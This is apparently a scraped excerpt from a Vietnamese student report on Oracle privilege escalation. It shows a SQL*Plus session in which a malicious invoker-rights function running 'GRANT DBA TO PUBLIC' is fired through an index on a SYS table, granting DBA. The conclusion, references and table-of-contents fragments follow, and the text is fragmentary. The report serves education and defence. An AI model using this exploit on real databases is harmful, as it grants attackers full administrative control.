ORA-01924: role 'DBA' not granted or does not exist SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO VARCHAR) RETURN VARCHAR DETERMINISTIC AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; COMMIT; RETURN 'FOO'; END; 8/ Function created SQL> GRANT EXECUTE ON GETDBA TO PUBLIC; Grant succeeded SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.FOO(TSS.GETDBA(BAR)); Index created SQL> select * from sys.foo; B X SQL> set role dba; Role set SQL> 26 KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN Với đề tài “ Tìm hiểu công leo thang đặc quyền (PRIVILEGE ESCALATION) oracle” mục đích ban đầu tìm hiểu khái niệm cách thức hoạt động số phương pháp công leo thang đặc quyền oracle Đến thời điểm đề tài đạt vấn đề : Có nhìn tổng quan sở liệu Oracle , số phương pháp công SQL injection, Oracle Rootkit…Và sâu vào phân tích cụ thể phương pháp, cách thức hoạt động, kỹ thuật số kỹ thuật công sở liệu Đề tài hồn thành có ý nghĩa thực tiễn trở thành tài liệu tham khảo cho người đọc muốn tìm hiểu vấn đề liên quan đến cơng sở liệu Oracle Nhìn chung đề tài đạt số kết sau:  Nghiên cứu số kỹ thuật công SQL injection, chèn mã PL/SQL, Rootkit Oracle… đưa số biện pháp phòng tránh  Đã thực áp dụng thành công phương pháp cơng oracle indexes,rootkit Tuy nhiên q trình thực đề tài cịn nhiều thiếu sót Vì nhóm thực hiền đề tài phát triển thêm điều kiện cho phép Một số đề xuất cho hướng phát triển đề tài sau:  Tìm hiểu kỹ thuật công cách sâu sắc  Mở rộng khung tìm hiểu kỹ thuật khác : SQL injection, công cách sử dụng odat, Như với đề tài “ Tìm hiểu công leo thang đặc quyền (PRIVILEGE ESCALATION) oracle” nhóm hy vọng góp ý thầy cô bạn mong muốn đem lại phần kiến thức để giúp người có nhìn tổng quan có biện pháp an tồn cần thiết sử dụng sở liệu 27 TÀI LIỆU THAM KHẢO [1] http://www.dba-oracle.com/t_oracle_rootkits.htm [2]http://vi.wikipedia.org/wiki/SQL_injection [3]http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf [4] https://www.doag.org/formes/pubfiles/6461091/2014-DB-Alexander_KornbrustBest_of_Oracle_Security_2014-Praesentation.pdf [5] http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.htm [6] https://text.123doc.net/document/2595063-cac-tan-cong-vao-co-so-du-lieuoracle.htm 28 ... TỔNG QUAN VỀ LEO THANG ĐẶC QUYỀN 1.1 Giới thiệu công leo thang đặc quyền 1.2 Các dạng leo thang đặc quyền 1.2.1 Leo thang đặc quyền dọc 1.2.2 Leo thang đặc quyền ngang... người dùng khác (leo thang đặc quyền theo chiều ngang) có đặc quyền nâng cao, thường quản trị viên hệ thống người dùng quyền lực khác (leo thang đặc quyền dọc) Sự leo thang đặc quyền thường bước... TỔNG QUAN VỀ LEO THANG ĐẶC QUYỀN Giới thiệu công leo thang đặc quyền (Escalating Privilege) Về có định nghĩa thêm nhiều quyền cho phép tài khoản người dùng thêm quyền, leo thang đặc quyền làm cho

Ngày đăng: 12/06/2022, 18:24